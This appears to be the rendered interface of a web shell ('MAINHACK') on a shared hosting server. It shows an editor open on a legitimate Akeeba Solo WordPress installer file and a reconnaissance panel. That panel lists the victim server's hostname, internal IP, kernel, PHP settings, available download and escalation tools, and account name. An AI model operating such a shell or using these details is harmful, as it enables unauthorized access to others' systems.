[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wpinstall.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ if (class_exists(akeeba_solo_wpinstall::class)) return; /** * Make sure we are being called from WordPress itself */ defined('WPINC') or die; class akeeba_solo_wpinstall { protected $sqlPath = ''; public function __construct() { $this->sqlPath = __DIR__ . '/../app/Solo/assets/sql/install/mysql'; } /** * Installs the database tables */ public function installTables() { /** @var wpdb $wpdb */ global $wpdb; // Parse the SQL file $sqlDefs = $this->parseSql('install.sql'); // Require the upgrade code which includes the dbDelta function require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); // Have I created any tables yet? $haveCreatedTables = false; foreach ($sqlDefs as $def) { $table = str_replace('#__', $wpdb->prefix, $def['table']); $sql = str_replace('#__', $wpdb->prefix, $def['sql']); if ($def['type'] == 'create') { // we use dbDelta to install new tables $forUpdate = dbDelta($sql); $haveCreatedTables = !empty($forUpdate); } elseif ($def['type'] == 'drop') { // we always run DROP statements $wpdb->query($sql); } else { // Everything else only runs if we are installing new tables if ($haveCreatedTables) { $wpdb->query($sql); } } } } /** * Uninstalls the database tables */ public function uninstallTables() { /** @var wpdb $wpdb */ global $wpdb; // Parse the SQL file $sqlDefs = $this->parseSql('install.sql'); foreach ($sqlDefs as $def) { $table = str_replace('#__', $wpdb->prefix, $def['table']); // We only need to process CREATE commands to remove tables if ($def['type'] == 'create') { $sql = 'DROP TABLE IF EXISTS `' . $table . '`'; $wpdb->query($sql); } } } /** * Parses a SQL file to a hash array telling us the "type" of the SQL command, the "sql" command itself and * the "table" it operates against. * * @param string $filename The filename to parse, absolute or relative to the $sqlPath * * @return array */ public function parseSql($filename) { // Initialise $array = array(); // Make sure we can read from the installation SQL file if (!@file_exists($filename)) { $filename = $this->sqlPath . '/' . $filename; } if (!@file_exists($filename)) { return $array; } // Get the lines in the file $lines = file($filename); $chunk = ''; foreach ($lines as $line) { $line = trim($line); if (!empty($line)) { $chunk .= $line . "\n"; } else { $sqlDef = array( 'type' => 'none', 'sql' => $chunk, 'table' => '' ); if (substr($chunk, 0, 7) == 'CREATE ') { $sqlDef['type'] = 'create'; } elseif (substr($chunk, 0, 5) == 'DROP ') { $sqlDef['type'] = 'drop'; } elseif (substr($chunk, 0, 7) == 'INSERT ') { $sqlDef['type'] = 'insert'; } elseif (substr($chunk, 0, 7) == 'UPDATE ') { $sqlDef['type'] = 'update'; } elseif (substr($chunk, 0, 8) == 'REPLACE ') { $sqlDef['type'] = 'replace'; } else { $chunk = ''; continue; } list($lineOne, $theRest) = explode("\n", $chunk, 2); $mark = strpos('`', $lineOne); $lineOne = substr($lineOne, $mark + 1); $mark = strpos('`', $lineOne); $sqlDef['table'] = substr($lineOne, 0, $mark - 1); $array[] = $sqlDef; $chunk = ''; } } return $array; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697